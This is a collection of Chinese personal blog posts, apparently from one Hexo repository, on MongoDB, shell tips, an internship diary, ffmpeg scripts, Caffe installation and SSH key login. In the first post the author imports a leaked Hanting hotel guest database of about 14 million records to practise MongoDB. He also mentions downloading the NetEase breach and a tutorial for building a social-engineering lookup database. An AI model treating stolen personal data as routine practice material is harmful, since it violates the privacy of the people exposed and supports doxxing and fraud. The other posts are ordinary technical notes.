1 | ---
2 | layout: post
3 | title: Mongo的简单使用
4 | categories: 一个小学生
5 | tags: 学习数据挖掘 旧文迁移 Mongo
6 | ---
7 |
8 | # 练手
9 | 汉庭的2000万数据,很老的裤子了,拿出来练练mongo
10 | `find ./ -type f -name "*.csv" -exec mongoimport -d hanting -c human --type csv --headerline {} \;`
11 |
12 | * 关于导入导出
13 | `$mongoimport -d dbname -c collectionsname --type csv --headerline inputfilname.csv`
14 | + 很明显不用多说,headerline是看csv文件具不具有头字段
15 | `$mongoexport -d dbname -c collectionsname -o outputfilename.csv`
16 |
17 | * 关于备份和恢复
18 | `mongodump -h localhost --post 27017`
19 | + 数据库内容导出为BSON文件
20 | `mongorestore -h localhost --port 27017 dump`
21 | + 如果说是导入到一个已经存在数据库里,那么使用 `mongorestore -h localhost --port 271707 --drop /path/to/you/dump`, 还有一种是给予数据文件的备份,但是这种的话快虽快,但是却要锁定数据库。
22 | csv 数据一共是 2.9G 导入到数据库中一共是 15.946GB,大概花费了9分钟左右,而且数据一共是1400+万条左右,并没有宣称地2000万,也可能是下的不全。对于我这个临时装的系统,直接占去了将近1/3的空间,不过总体来讲还是比较满意。
23 |
24 | 之前在windows下导入时,仅仅导入了200W不到的数据就花费了很长时间,最后由于没能跳过一个错误数据还终止了。不过对于错误数据,直接sed替换下就行了。windows肯定干不了吧。
25 |
26 | 导入的过程中出现的错误数据会自动跳过,这个好。
27 |
28 | # 数据库
29 |
30 | `db.account.aggregate([{ $group: {_id: {$month:"$createdAt"},all:{ $sum: 1 }}}]);`
31 |
32 | 在mongo里面,获取当月新注册的用户。关键字还可以是`$year,$day`等,$createdAt是你自己插入数据记录的标准时间
33 |
34 | ` $mongod --config /path/file/to/you/mongo.config `
35 | mongo.config文件里面包含了log路径,db路径,还可以添加其他设置。之前win7升级win10,mongo的环境变量就没了。懒得添加,就写了批处理,要提的是,可以是.bat也可以.cmd,在脚本里面用start的话可以打开新的cmd界面。
36 |
37 | `mongod --auth`
38 | 开启身份验证的前提是创建了管理员用户,然后use admin, db.addUser('username','password'),
39 |
40 |
41 | 突然想起网易50亿的裤子,从mega下了快30G还是放弃了。电脑开了两天,破宿舍晚上又断网。唉,无奈还是删了。我又想起来之前看f4vk写的搭建社工库的教程。无力。
42 | ## Mongo Night
43 | * 就像mongo in Action中的警告一样,对于大量数据,不要在部署之后再建立索引,而应该事先建立好索引。
44 | * 当时突然想到要是把Solr和Mongo结合到一起会是怎么样,发现网上已经有了这方面的资料。
45 | * 最好主从节点复制集至少三个
46 | * 正确的分片很重要(索引也是)
47 |
48 | ps:本来打算的是写成mongo morning to night,把基础知识记下来,后来发现其实没有必要。基本的增删查改没必要写,其他的也不少,我自己就做了8张A4纸的笔记。所以还是自己看看附件吧,下载下来看一遍是比较有用的。
49 |
50 | ## Resoures:
51 |
52 | * MongoDB in Action
53 | * Ruby and MongoDB Web Development
54 | * [Mongo Doc](https://docs.mongodb.com/)
55 |
56 |
--------------------------------------------------------------------------------
/source/_posts/2016-06-02--Something3.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 小技巧 III
4 | categories: 一个小学生
5 | tags: 旧文迁移 小技巧
6 | ---
7 |
8 | * 文件给别人看,最好存储为pdf格式,你懂的。做好的word啊ppt啊,保存时把字体等嵌入进去,这样换个电脑也能用。最好适当的保存一个低版本的。不用因为乱七八糟的原因重发一遍
9 |
10 | * 删除恶意文件的方法和思路(朋友来拷权利的游戏S06给我的U盘中了快捷方式病毒)
11 | > 1. 网上百度了个方法,清理,无果。不过隐藏文件夹已经恢复,但快捷方式无法删除,每次删除,必然恢复。
12 | 2. 用everything找到了电脑中出现的所有fuck girl的vbs脚本,发现在local/tmp有一份,但删除不掉
13 | 3. vbs脚本已经加载到wscipt中了,所以结束这个进程,再去删除,搞定
14 |
15 | * 网页文件保存,
16 | > + Ctrl+P打印-->另存为pdf
17 | + Ctrl+S保存,但是保存时会有一个文件夹出现,所以保存时选择仅仅保存html
18 | * 发现一个好玩的linux工具叫做boxes,用来生成ASCll字符
19 | > 
20 | 
21 | > 类似还有matrix,sl,等等 apt-get install 就可以玩了
22 |
23 | * 善用Fiddler或者Wireshark抓包,分析一下(其实看一眼算不上分析),就能找到真正的地址,通过Wireshark得到的数据可以导出所有数据为各种格式,也可以单独导出某段数据,还可以TCP FLLOW, 还可以过滤查询,这个过滤查询功能都有。Fiddler还可以作为同一局域网代理,抓流经手机的流量。
24 |
25 | * 如果速度不佳,考虑换换源,包括但不限于ubuntu源,ruby源等
26 |
27 | * 有时候windos配置开发环境很蛋疼,对于复杂的,linux也一样,这时候不如选择配置好的镜像,直接载入虚拟机,同时[docker](https://www.docker.com/)的使用也节省了很多的时间。当然也可以考虑下云端环境的应用,像编程的[Cloud9](https://c9.io/),写latex去[ShareLatex](http://sharelatex.com),省的自己配置latex环境了,而且编译速度比自己电脑快多了。
28 |
29 | * shell换成zsh 并使用 oh-my-zsh
30 |
31 | * youtube 上下载东西,用那个savefrom.net上的插件下载的话,实在是慢,不能完全利用vpn,所以只使用其获取链接,然后交给迅雷来下。还可以用youtube-dl命令行工具。
32 |
33 | * 有时候可以直接保存一个网页下来,然后nodepad++开始正则搜索,想要下载的链接全部到手。当然也可以直接在网页上搜索
34 |
35 | * 不要局限于本地,找不到都可以去找云端资源,包括但不限与电影,pdf转换,正则匹配,加密解密,云端编辑器,开发环境,资源是种东西,跟着需求变得。哪里都可以有。
36 |
37 | > 警示:
38 | >> * 对于有重要信息或敏感信息的电脑,请杜绝别人U盘插入。
39 | >> * 无论是什么错误,基本上只要思路对,抽丝剥茧,顺藤摸瓜,肯定搞定。
40 | >> * 要记得自己的目的是什么,写代码,省时间,还是锻炼配置能力,然后选择
41 |
42 | 有的记不起来了,还有正则很有用,mongo不要在windows下用,太坑。
--------------------------------------------------------------------------------
/source/_posts/2016-06-26-sublime-useful.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: sublime快捷键以及其他
4 | categories: 一个小学生
5 | kerywords: Sublime shortcut
6 | tags: 旧文迁移 工具
7 | ---
8 | # 快捷键
9 |
10 | * Ctrl+K+B:开关侧栏
11 | * Ctrl+Shift+P:打开命令面板
12 | * Ctrl+P:搜索项目中的文件
13 | * Ctrl+G:跳转到第几行
14 | * Ctrl+W:关闭当前打开文件
15 | * Ctrl+Shift+W:关闭所有打开文件
16 | * Ctrl+Shift+V:粘贴并格式化
17 | * Ctrl+D:选择单词,重复可增加选择下一个相同的单词
18 | * Ctrl+L:选择行,重复可依次增加选择下一行
19 | * Ctrl+Shift+L:选择多行
20 | * Ctrl+Shift+Enter:在当前行前插入新行
21 | * Ctrl+X:删除当前行
22 | * Ctrl+M:跳转到对应括号
23 | * Ctrl+U:软撤销,撤销光标位置
24 | * Ctrl+J:选择标签内容
25 | * Ctrl+F:查找内容
26 | * Ctrl+Shift+F:查找并替换
27 | * Ctrl+H:替换
28 | * Ctrl+R:前往 method
29 | * Ctrl+N:新建窗口
30 | * Ctrl+K+B:开关侧栏
31 | * Ctrl+Shift+M:选中当前括号内容,重复可选着括号本身
32 | * Ctrl+F2:设置/删除标记
33 | * Ctrl+/:注释当前行
34 | * Ctrl+Shift+/:当前位置插入注释
35 | * Ctrl+Alt+/:块注释,并Focus到首行,写注释说明用的
36 | * Ctrl+Shift+A:选择当前标签前后,修改标签用的
37 | * F11:全屏
38 | * Shift+F11:全屏免打扰模式,只编辑当前文件
39 | * Alt+F3:选择所有相同的词
40 | * Alt+.:闭合标签
41 | * Alt+Shift+数字:分屏显示
42 | * Alt+数字:切换打开第N个文件
43 | * Shift+右键拖动:光标多不,用来更改或插入列内容
44 | * 鼠标的前进后退键可切换Tab文件
45 | * 按Ctrl,依次点击或选取,可需要编辑的多个位置
46 | * 按Ctrl+Shift+上下键,可替换行
47 |
48 |
49 | # 其他
50 |
51 | * Sublime版本升级之后,Online Markdonw Preview不能使用的解决办法
52 |
53 | > 把属性扩展那一行替换为`"extensions": ["tables", "fenced_code", "codehilite"]`(中间有个插件忘了是什么了,要删除掉,删除后就是这样的了)
54 |
55 | * Sublime自动保存只需要配置文件中添加"save_on_focus_lost": true
56 |
57 | # 资源
58 |
59 | * [sublime 配置 Nodejs ](https://github.com/tanepiper/SublimeText-Nodejs)
60 |
61 | * [sublime markdown 插件](http://macplay.leanote.com/post/%E8%BF%91%E4%B9%8E%E5%AE%8C%E7%BE%8E%E7%9A%84-Markdown-%E5%86%99%E4%BD%9C%E4%BD%93%E9%AA%8C-Sublime-Text-3-OmniMarkupPreviewer)
62 |
63 | * [sublime zencodeing 插件](http://frontenddev.org/article/sublime-does-text-3-plug-in-emmet-original-zencoding.html)
--------------------------------------------------------------------------------
/source/_posts/2016-07-20-Action-in-Full-Stack.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 全栈工程师的第一篇修炼记录
4 | categories: 一个实习生
5 | tags: 全栈 实习笔记
6 | ---
7 |
8 | > 本篇多吐槽,属于Take is cheap
9 |
10 | 全炸工程师的前言 从德回来之后,本以为这家公司应该已经招满了,后来老师碰见,问我去了没。才打电话问了问,最后应聘做了测试的实习。公司小,所以现在做的就更像是全栈开发,网页也有,后端也有,偶尔还帮别人装下caffe,看看python脚本。总之地方虽小,却像实验室一样,对我而言,心里还是蛮喜欢的。起码最初是比较喜欢的。但有时候也会觉得像炸了一样,因为不想跑偏太远。毕竟我打心里还是想做数据分析数据挖掘这一块的。然而抱怨是没有用的,我还是希望靠自己的努力来搞定这一切。以后这个系列,将记载一下我对全栈的认识(成为真正的全栈),和在实习期间的一些思考。这可是我第一份技术相关的无关技术的实习。啊啊啊啊
11 |
12 | ### 面试篇
13 |
14 | + 由于是应的是测试,又是实习,所以只有一面,也只问了简单的一些问题用过哪些语言,给自己掌握的不同语言打个分。
15 | + 问对算法能力的掌握程度
16 | + 你为什么选择我们,给我一个选你的理由
17 | + 从上大学到现在代码量有多少
18 | + 自己做过什么项目,项目介绍,评价
19 |
20 |
21 | > 只想说大家一定要自信,谦虚可以,别太谦虚,否则别人会以为你不行。而且到时候也没资本去给人家谈工资了。总之呢,我的面试没有什么精彩,自己也不该太谦虚,一定不要妄自菲薄,面试的时候就是表现自己的时候
22 |
23 |
24 | ### 入职篇
25 | * 经历了工资的尴尬,下面是自己的入职第一周。开始了测试和全栈的生涯。每天都是第一个去,不卑不亢。大家人都很好,但一脚踏入社会,就需要时间去融入。
26 | JavaScript之前略有接触,而现在做的东西都是以JS为主,nodejs做后端,前端自然就是那一套了。
27 | 然后大概花了一周时间熟悉了下javascript和nodejs,CSS的流式布局,js和css通过V8对DOM的不同操作方式。就开始配着项目写业务代码了。先是最基本的modal,然后写数据库里面取数据写数据。
28 | 不知道写什么了,基础的代码不具有什么太深的意义。更多的更像脚代码一样。是没有算法涉及其中的。
29 | 但是你必须在很短的时间内跟的上步伐,然后超过去。这两周给我的感觉就是在短时间内扩充了大量的知识,但是在应用上还是有问题,也就是说,看得懂不一定写的出来。中间还多亏了带我的晓伍哥的帮忙。多谢了。
30 |
31 |
32 | ### 面试之前
33 | 我相信一切都会好起来的。所谓此心安处即吾乡。然浮萍在世,所见着少,所知者就更少了。
34 |
35 | 不希望给自己找借口,never, take is cheap.
36 |
37 |
38 |
39 | 最后,剩下几张整理下资源和实习过程中遇到的问题以及解决办法。。
40 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/source/_posts/2016-07-29-first-codereview-in-tuicorn.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 第一次在公司内展示PPT和CodeReview
4 | categories: 一个实习生
5 | tags: 实习笔记 全栈
6 | ---
7 |
8 | 第一次在公司里参加code review,当然除了检查代码,还有一部分是对我基础知识的检查。毕竟我之前不是做web的,也没有怎么接触过js,当然,觉得还行吧。马马虎虎。
9 |
10 | 
11 | 
12 | 
13 | 
14 | 
15 | 
16 | 
17 | 
18 | 
19 |
20 |
21 | 当时还临时让解释了cookie和session的不同,还临时让讲了下为什么把css放上面,js放下面,dom树的渲染步骤等乱七八糟的。
22 | > 这篇是在windwos下写的,链接图片的时候是小写的.jpg后缀(虽然文件本身后缀是大写的),能用。但是不知道为什么到了LINUX下,不能发现,还要把后缀改为JPG.而且文件夹名中的横杠存不存在,都能被查找到,这又是什么个情况。
23 |
24 | PPT下载地址[Little PPT](https://img.iami.xyz/images/fc-first/firstime.pptx)
25 |
--------------------------------------------------------------------------------
/source/_posts/2016-08-08-Something4.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 小技巧 IV
4 | categories: 一个实习生
5 | tags: 实习笔记 小技巧
6 | ---
7 |
8 | 1.不要jade中同时用Space和Tab,一不留神就使用了,全他妈是错误呀
9 |
10 | 2.我记得之前有个E: Sub-process /usr/bin/dpkg returned an error code (1)
11 |
12 | > 之前我的解决办法是按照网上来的,大概是大一的时候,
13 | 现在想想,当时完全没有动脑筋思考。
14 |
15 | >>
16 | ```bash
17 | sudo mv /var/lib/dpkg/info /var/lib/dpkg/info.bak
18 | sudo mkdir /var/lib/dpkg/info
19 | ```
20 | 其实这种写法完全不如`killall aptd`,而且不需要去考虑是不是错杀其他进程,因为apt-get install 都是独占的。只允许一个存在。
21 |
22 | 3.网站优化压缩代码时使用的是YUICompressor,之后会另写一篇单独记录网站的性能提升与优化的问题。
23 |
24 | ```bash
25 | for i in ` find $PWD | grep -oE "(.)*\.css_$"`
26 | do
27 |
28 | echo $i
29 | yuicompressor.jar --type css -o $i"_" $i
30 | mv $i `echo $i | tr -d "_"`
31 | done
32 | ```
33 |
34 | ` find ./ -name "*.jpg" -print0 | xargs -0 jpegtran -copy none -optimize {} > {}.jpg`
35 |
36 | > 对mp4文件压缩的时候依旧使用的是ffmpeg,又转了一份文件为webm格式的。
37 | >> ffmpeg转换的时候,后来发现其实是有三种方法的。可以直接指定大小,可以指定优化帧率,还可以优化图像质量来减小体积。
38 |
39 |
40 | >>> `ffmpeg -i index_1.mp4 -acodec mp2 --psnr 1 output1.mp4`
41 |
42 | 4.添加白名单更安全
43 |
44 | 5.cat {file1,file2} > file3
45 | >不要手残在file1,file2之间用了空格,其实是想说不要在shell里面手残乱敲空格,我完全是习惯性的敲空格,坑死了。
46 |
47 | 6.谷歌浏览器命令行开窗口
48 |
49 | >shell
50 | >>* `chromium-browser --new-window "url"`
51 |
52 |
53 | >windows(应该也有其他方法)
54 | >>* `start your/path/of/chrome "urllist1","urllist2"`
55 |
56 | 7.NodeJS debuging and Profiling
57 |
58 | * Know the api docs
59 | * Use strict mode
60 | * Name your inline function
61 | * Don't forget callbacks are error first
62 |
63 | > 埋个关于调试的坑,还会单补一篇。
64 |
65 | 8.不要在属性值和单位之前留空格,否则不在IE6中有效。其实我是一点也不在乎IE6,。
66 |
67 |
68 |
69 | 9.MVC只是手段,不是目的。不要把目的和手段搞反了。最终目的是模块分离和代码复用。
70 |
71 | 10.不要使用grenn 和 red类的字符来设置颜色,使用#ffffff之类的进行设置。(其实这一点我有点不理解)
--------------------------------------------------------------------------------
/source/_posts/2016-08-16-Take-Something-In-FFMPEG.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 使用ffmpeg处理video frames
4 | categories: 一个实习生
5 | tags: 实习笔记 全栈
6 | ---
7 |
8 |
9 | 上午还在写单元测试,下午就干这件事:抽取一批视频抽取前面3秒,中间3秒,后面3秒的图片。一秒大概25帧
10 |
11 | ``` shell
12 | #!/bin/bash
13 |
14 | #set -e
15 | #去掉后脚本可跳过错误继续运行
16 | #ls *.mp4 > filelist.txt
17 |
18 | #du -h *.mp4 | grep -v "4.0K" | awk '{print $2}' > filelist.txt
19 | #由于后期发现有的监控视频很小,所以要改。还有不能先awk print需要先grep再进行print
20 |
21 | mkdir imageCut
22 | #cat filelist.txt | while read filename
23 | #此处属于莫名奇妙不能用while
24 | for filename in `cat filelist.txt`
25 | do
26 | pathname=$(echo $filename | cut -d "." -f1 )
27 | echo $pathname
28 | mkdir $PWD/imageCut/$pathname
29 | echo "Process in $filename, and it will be set in $pathname"
30 | sleep 1
31 | time=`ffprobe -v error -show_entries stream=width,height,bit_rate,duration -of default=noprint_wrappers=1 $filename | grep "duration" | cut -d "=" -f2 | cut -d "." -f1` #获取总的视频时长
32 |
33 | middletime=`expr $time / 2 - 3`
34 | endtime=`expr $time - 3`
35 | echo $middletime
36 | m_time=$middletime-3
37 | ffmpeg -ss 00:00 -t 3 -i $filename -q:v 2 -f image2 $PWD/imageCut/$pathname/imagehead-%d.jpg 2>>log.err #get the first 3 second image frames to des and log the err in current folder
38 | ffmpeg -ss $middletime -t 3 -i $filename -q:v 2 -f image2 $PWD/imageCut/$pathname/imagmiddle-%d.jpg 2>>log.err #get the middle 3 second image frames
39 | ffmpeg -ss $endtime -t 3 -i $filename -q:v 2 -f image2 $PWD/imageCut/$pathname/simageend-%d.jpg 2>>log.err #get the last 3 second image frames
40 |
41 | #mv $(ls *.jpg) $PWD/imageCut/$pathname
42 | #这样的写法不严谨,脚本通用率就低了,你也不知道该目录下有没有其他img文件。直接在输出时定位过去。
43 |
44 |
45 | done
46 |
47 | rm -f filelist.txt
48 |
49 | ```
50 |
51 | 后来又分析了下errlog,发现中间有一些视频是不能抽取的,但是呢,总的抽取过程中,所有视频基本上都是226张左右,也就是说是正常的,但是6万多张图片中,大概800张抽取错误。现在分析是视频不完整导致的。
52 |
--------------------------------------------------------------------------------
/source/_posts/2016-08-20-uber-in-nodejs.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: Nodejs In Uber
4 | categories: 一个实习生
5 | tags: 实习笔记 全栈
6 | ---
7 |
8 | 
9 |
10 | 高清大图,嘿嘿。有点懒了。这是看nodejs in uber的介绍,记的笔记。
11 | 大概是log everything, monitor everthing, zero-config,处理好bug等。大家自己看一下视频的话或许更能明白。
--------------------------------------------------------------------------------
/source/_posts/2016-08-28-cafee-install-jeston-tk1.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 在 Jeston TK1上安装Caffe
4 | categories: 一个实习生
5 | keywords: Caffe Jeston Tk1 OCR How to install caffe in jeston tk1
6 | tags: 实习笔记 学习数据挖掘
7 | ---
8 |
9 | # Jeston TK1 Install Caffe
10 |
11 | ``` bash
12 | #!/bin/bash
13 |
14 | #以下安装为在jeston TK1(安装的是ubuntu 14.04LTS)上所完成,无意外当适用于普通linux系统.但是在选择cudnn时务必选择自己系统对应的版本。
15 |
16 | #安装git
17 | sudo add-apt-repository universe
18 | sudo apt-get update
19 | sudo pat-get install git
20 |
21 | #需要安装opencv ,参考官网
22 | sudo apt-get install build-essential
23 | sudo apt-get install cmake git libgtk2.0-dev pkg-config libavcodec-dev libavformat-dev libswscale-dev
24 | sudo apt-get install python-dev python-numpy libtbb2 libtbb-dev libjpeg-dev libpng-dev libtiff-dev libjasper-dev libdc1394-22-dev
25 |
26 | cd ~
27 | git clone https://github.com/opencv/opencv.git
28 | mkdir build
29 | cd build
30 | cmake ..
31 | make
32 | sudo make install
33 |
34 |
35 | #安装依赖
36 | sudo apt-get install -y gcc-4.7 g++-4.7
37 | sudo apt-get install libprotobuf-dev libleveldb-dev libsnappy-dev libopencv-dev libboost-all-dev libhdf5-serial-dev libgflags-dev libgoogle-glog-dev liblmdb-dev protobuf-compiler libatlas-base-dev
38 | sudo apt-get install python-dev python-pip python-numpy gfortran
39 |
40 | #如果出现cv:imagecode undefined , 请 尝试 sudo ldconfig ,或者在makefile里面直接把libopencvXXX的库连接上去。
41 | #如果是opencv3,你需要在makefile.config里面讲opencv3选项选中。
42 |
43 | #if you need cudnn, you should download cudnn lib and unzip it to cuda path。 注意cudnn的版本,即便是cuda-6.5也需要cudnn version >3 这个需要去nvdia官网注册,然后才能下载。
44 | #sudo cp cudnn.h /usr/local/cuda/include
45 | #sudo cp libcudnn* /usr/local/cuda/lib
46 |
47 |
48 | #安装caffe
49 | cd ~
50 | git clone https://github.com/BVLC/caffe.git
51 | cd caffe
52 | cp Makefile.config.example Makefile.config
53 | #如果你是直接采用在caffe目录下面进行make -j 4 all, 也未尝不可。
54 | mkdir build
55 | cd build
56 | cmake ..
57 | make -j 4 all
58 |
59 |
60 | #other, caffe 安装过程gcc ,g++ 4.7 版本,版本不同导致出现问题。不知道是否已经解决了。我之前安装的是5.8的吧,最后又装了4.7的才行。
61 | #Youtube 上有个jestonhacks,还是不会安装的话可以看他的教程,不过他的教程也有很多问题,毕竟时间已经很久了。
62 | #安装完成之后,去caffe官网跑个demo看看。
63 | #也许你在安装opencv的过程中也会出现问题,那么,不论哪里出现了问题都记得多google即可。
64 | #另附:没有显示器的情况下,用一根网线也是可以连接进Jeston TK1的,最初之所以没有连接进去,是因为以前用的时候设了静态IP,以至于不能重新获得新的IP。
65 |
66 | ```
67 |
68 |
--------------------------------------------------------------------------------
/source/_posts/2016-08-28-ssh-remote-free.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: SSH的免密码登陆
4 | categories: 一个实习生
5 | kerywords: SSH
6 | tags: Linux SSH 工具
7 | ---
8 |
9 | ### SSH 介绍
10 |
11 | SSH协议中主要为三个部分:
12 | - 传输层
13 | - 用户认证协议
14 | - 连接协议
15 |
16 | 验证主要为两种安全验证
17 | - 基于密码的安全验证(顾名思义,知道账户名和密码进行登录)
18 | - 基于密钥的安全验证(通过验证密钥进行登录)
19 |
20 | OpenSSH是提供ssh相关服务的经典工具
21 | * 远程操作 ssh, scp, and sftp.
22 | * 密钥管理 ssh-add, ssh-keysign, ssh-keyscan, ssh-keygen.
23 | * 服务端 sshd, sftp-server, ssh-agent.
24 |
25 | ### SSH 基础使用
26 |
27 | * `$ ssh remotehost`
28 | * `$ ssh username@remotehost`
29 | * `$ ssh username@remotehost -p 23456`
30 | * `$ ssh -p 23456 username@remotehost`
31 |
32 |
33 | ### 安装SSH Server
34 | ubuntu
35 | `$ sudo apt-get install openssh-server ` # ssh服务
36 | `$ service ssh start` #一般安装之后,服务就自动开启了,如果没有的话可以手动开启下。
37 |
38 | windows
39 | ssh服务可以安装cygwin,具体参考下相关资源里的openssh-rsa-authentication-for-windows-and-linux,客户端的话可以安装Xshell, putty,MobaXterm.
40 |
41 | android
42 | ssh服务用SSHDroid,客户端用connect-ssh,Juice-ssh,super terminal去连接远程服务器。
43 |
44 | ### 传输数据(基本上是单个文件传输)
45 | * `$ scp user@destip:/path/to/your/dest`
46 | * `$ scp -P yourPort user@destip:/path/ /local/path/`
47 | * `$ scp -P yourPort sourceip:/path/ user@destip:/path/ `
48 |
49 | * rsync(服务器之间同步数据,极好的,适用于文件夹之类的都可以,apt-get install rsync(ubuntu) yum install rsync(Centos),当然这些服务器之间的备份最好配合crontab定时使用),
50 | * sz(windwos下xshell配合sz极好的,这个要源码安装,google下就行了)
51 |
52 | ### 免密码登录远程服务器
53 | > 就是你把你的公钥放到远程服务器上。登录的时候,服务器会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。服务器用事先储存的公钥进行解密,如果成功,就允许登录shell。记得之前看过一个案例,有一个把私钥放到了服务器,被人家攻克之后,盗了密钥又把其他服务器给干了。
54 |
55 | >>
56 | * `$ ssh-keygen`
57 | * `$ ssh-copy-id -i ~/.ssh/id_rsa.pub remoteip`
58 | * `$ service ssh restart`
59 | * `$ chmod 700 ~/.ssh`
60 | * `$ chmod 600 ~/.ssh/authorized_keys `
61 | * `$ ssh user@host 'mkdir -p .ssh && cat >> .ssh/authorized_keys' < ~/.ssh/id_rsa.pub`
62 |
63 | > 不知道大家有没有发现权限设置有个很好玩的东西,就是父目录假如是只有roto可访问,但你给下面的子目录设置成了777之类的,那么只可以直接访问者个字目录下的东西,是不是又想到了什么邪恶的东西,哈哈
64 |
65 | ### 不相关的周末
66 | 以前想写个ssh防爆破脚本,当时是想grep下log,然后触发相应的iptables规则,后来发现了防爆破工具fail2ban,原理应该也差不多。
67 | 突然看到很多少在网上说markdown转pdf怎么转,什么什么收费软件怎么怎么样,卧槽,难道不能chrom上ctrl+p打印吗??
68 |
69 |
70 | 扎着冰糖杨梅,边吃边写markdown,想起来的都写一写。查着写着,吐槽着。昨天的书展真是不咋滴啊。还有前天被一巴基斯坦王八蛋放了鸽子,艹,明明9pm跑步,没见到人。艹艹。
71 | 还有别忘了,不如用mosh
72 |
73 | #### 相关资源
74 | * [SSH 维基百科](https://zh.wikipedia.org/wiki/Secure_Shell)
75 | * [OpenSSH](http://www.openssh.org/)
76 | * [openssh-rsa-authentication-for-windows-and-linux](http://cects.com/openssh-rsa-authentication-for-windows-and-linux/)
77 | * [rsync example](https://rsync.samba.org/examples.html)
78 | * [corntab](http://www.cnblogs.com/peida/archive/2013/01/08/2850483.html)
79 |
--------------------------------------------------------------------------------
/source/_posts/2016-08-31-mongo-problem-solved.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 几个mongo的小问题
4 | categories: 一个实习生
5 | kerywords: Mongo Nodejs
6 | tags: 实习笔记 全栈 Mongo
7 | ---
8 | 几个mongo的小问题,别人问的问题,还有自己遇到的问题。
9 |
10 | 1.mongo bacthsize的问题(Assertion: 10334):
11 | >`mongorestore -d my-database --batchSize=100 ./database-dump-directory`
12 | >>这个会使速度变慢,但是能解决,因为最开始我提出是`mongd --repair --dbpath="dbpath"`或者`db.runCommand({repairDatabase:1})`,然后再重新导出来,但是很不幸,不行。
13 |
14 | 2.聚类查找,统计每月新增用户量:
15 | > `db.accounts.aggregate({$project:{month : {$month:"$createdAt"}}})`
16 | >> 注: 你的$month对应的应该是你自己的用户注册时间。同样如果把$month替换成$year,$day,可以统计出当天或当年的。
17 |
18 |
19 | 3.导入BSON格式
20 | > `mongorestore -d db_name -c collection_name path/file.bson`
21 |
22 | > `mongorestore --drop -d db_name -c collection_name path/file.bson`
23 |
24 |
25 | 4. 有人的mongo不能更换默认数据库:
26 | > 最后发现是权限的问题,因为他采用的方法又新建了一个mongo用户,所以导致权限问题,不能更改配置文件的默认数据库。
27 |
28 | 5. Windows下启动Mongo
29 | > 虽然我把mongo的bin目录加了环境变量,但是每次还是要cd到特定目录,比较烦。于是建一个xx.cmd文件。经测试发现不能把该文件放在中文名称目录下,否则会报错。无法启动。
30 | >
31 | ```bash
32 | E:
33 | cd Mongodb
34 | echo "Now You In E:\Mongodb"
35 | start .\bin\mongod.exe --config .\data\mongo.config
36 | echo "You mongo server is running"
37 | ```
38 |
39 | 6.删除小与特定日期的记录
40 | >
41 | `db.logTemplate.remove({"operationTime":{$lt:ISODate("2016-07-01T16:00:00Z")}})`
42 |
43 | 7.find与findone的区别
44 | >
45 | * findOne()只返回一个文档对象
46 | * find()返回一个集合列表, 如果不指定过滤范围,它将返回整个集合,客户端中最多只显示前20个文档。
47 |
--------------------------------------------------------------------------------
/source/_posts/2016-09-04-web-full-stack-think.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 《全栈工程师的自我修养阅读笔记》
4 | categories: 一个实习生
5 | tags: 实习笔记 全栈
6 | ---
7 |
8 | 上上周花了一个周日,把雨果写的那个《web全栈工程师的自我修养》给看了一遍。翻了翻书上的笔记,把他整理一下,如下:
9 |
10 | ### 学到的东西
11 |
12 |
13 |
14 | * 专业维度这一说法。有的产品可能是整个团队维护一个产品,成员来自不同的岗位。也有可能是一个组全是某个类型的工程师,维护不同的产品。
15 | * 记得维护自己的作品集,一定要有这个意识,重视自己的作品集。
16 | * 积累声望和保持心态(这个完全靠自己,修身养性亦为如此。君子一言,驷马难追)
17 | * 框架是比库更广泛的概念,一个框架只是一个软件系统中可重用的一部分,可能包含子程序,库,胶水语言,图片等资源。
18 | * 向移动端转型
19 | * 让市场认可你的能力,而非老板。
20 | * 持续集成,对于可能损坏主干原则的代码,不要提交到主干,而是先创建一个分支。
21 | * 设计模式分为三大类:创建型模式,结构型模式,行为模式。
22 | * 时间管理的四象限:重要与否X紧急与否,进行交叉组合
23 | * 设计基础:重复,对比,对齐,亲密性。基础又容易掌握
24 | * 学一点沟通与管理
25 | * 考虑到你的在线简历,面试管可能没网的情况,手绘稿。
26 |
27 |
28 |
29 | ### 其他
30 |
31 | #### 1.问题
32 |
33 | >* 数据库的设计原则
34 | >* 如何提高自己的设计水平
35 | >* 多技能和细分的技能,一精多能
36 | >* 大公司小公司的选择(当你问别人时,你就输了)
37 | >* 如何自动化的方式生成新的文件名并修改html中的引用(gulp,grunt之类的)
38 | >* 有合适的分离粒度,什么是合适的?
39 | >* 设计模式还有些不太懂
40 |
41 | #### 2.书中提到的一些资源
42 |
43 | >* [Smashing Magazine](https://www.smashingmagazine.com/)
44 | >* [tuts](https://www.tuts.com/)
45 | >* [Dribbble](https://dribbble.com/)
46 |
47 | #### 3.所列未看又值得一看的书单
48 |
49 | >* 《专业主义》
50 | >* 《设计模式》
51 | >* 《精通CSS高级Web标准解决方案》
52 | >* 《From Zero to One》
53 | >* 《精益创业》
54 | >* 《代码整洁之道》
55 | >* 《网站性能监测与优化》
56 | >* 《精通CSS:高级Web标准方案》
57 | >* 《代码大全2》
58 | >* 《写给大家看的设计书》
59 |
60 | > 有几本书读了,然后以为列的很多都读过。然后发现余果书中所列还是有很多本书没看过啊。。。
61 | > 有书不至于太寂寞,有书怎么会无聊呢。
62 |
63 | #### 4.评价
64 |
65 | > * 文中提到的让设计师了解网页制作的知识,让程序员了解设计的知识。 也能想到,但是不知道真正实行起来怎么样啊。
66 |
67 | > * 设计模式这一块不知道是有点深了还是有点空了。用户友好性不太理想。
68 |
